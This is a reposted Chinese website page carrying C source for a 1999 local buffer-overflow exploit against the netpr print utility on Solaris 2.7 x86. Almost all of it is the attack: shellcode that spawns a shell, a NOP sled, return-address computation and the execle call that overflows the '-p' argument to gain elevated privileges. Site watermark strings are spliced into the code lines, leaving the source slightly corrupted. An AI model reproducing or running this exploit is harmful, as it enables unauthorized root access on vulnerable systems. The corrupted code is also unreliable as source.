发表文章 返回首页

/usr/lib/lp/bin/netpr for solaris 2.7 x86 local exploit

时间:2004-04-15 17:13来源:中国网管联盟 作者:BitsCN整理 点击:
/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland*://lsd-pl.net/ #*/ /*## /usr/lib/lp/bin/netpr #*/ /* requires to specify the address of a host with 515 port opened */ #includ
   /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland*://lsd-pl.net/ #*/
/*## /usr/lib/lp/bin/netpr #*/

/* requires to specify the address of a host with 515 port opened */

#include <fcntl.h>

#define NOPNUM 900
#define ADRNUM 104
#define ALLIGN 1

char shellcode[]=
 "\xeb\x1b" /* jmp <shellcode+30> */
 "\x33\xd2" /* xorl%edx,%edx*/
 "\x58" /* popl%eax */
 "\x8d\x78\x14" /* leal0x14(%eax),edi */
 "\x52" /* pushl %edx */
 "\x57" /* pushl %edi */
 "\x50" /* pushl %eax */
 "\xab" /* stosl %eax,%es:(%edi)*/ feedom.net
 "\x92" /* xchgl %eax,%edx*/
 "\xab" /* stosl %eax,%es:(%edi)*/
 "\x88\x42\x08" /* movb%al,0x8(%edx)*/
 "\x83\xef\x3c" /* subl$0x3c,%edi */
 "\xb0\x9a" /* movb$0x9a,%al*/
 "\xab" /* stosl %eax,%es:(%edi)*/
 "\x47" /* incl%edi */
 "\xb0\x07" /* movb$0x7,%al */
 "\xab" /* stosl %eax,%es:(%edi)*/
 "\xb0\x3b" /* movb$0x3b,%al*/
 "\xe8\xe0\xff\xff\xff" /* call<shellcode+2>*/
 "/bin/ksh"
;

char jump[]=
 "\x8b\xc4" /* movl%esp,%eax*/

54ne.com


 "\xc3" /* ret*/
;

main(int argc,char **argv){
 char buffer[10000],adr[4],*b,*envp[2];
 int i;

 printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland//lsd-pl.net/\n");
 printf("/usr/lib/lp/bin/netpr for solaris 2.7 x86\n\n");

 if(argc==1){
 printf("usage: %s lpserver\n",argv[0]);
 exit(-1);
 }

 *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8388+128;

 dup2(open("/dev/zero",O_RDWR,0),10);

 b=buffer;
 for(i=0;i<ALLIGN;i++) *b++=0xff;
 for(i=0;i<NOPNUM;i++) *b++=0x90;
 for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
 for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
 *b=0;

 execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
网管联盟www.bitsCN.com

 "-p",buffer,"/bin/sh",0,0);
}

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
发布者资料
admin 查看详细资料 发送留言 加为好友 用户等级:注册会员 注册时间:2008-05-08 23:05 最后登录:2009-01-05 00:01
推荐内容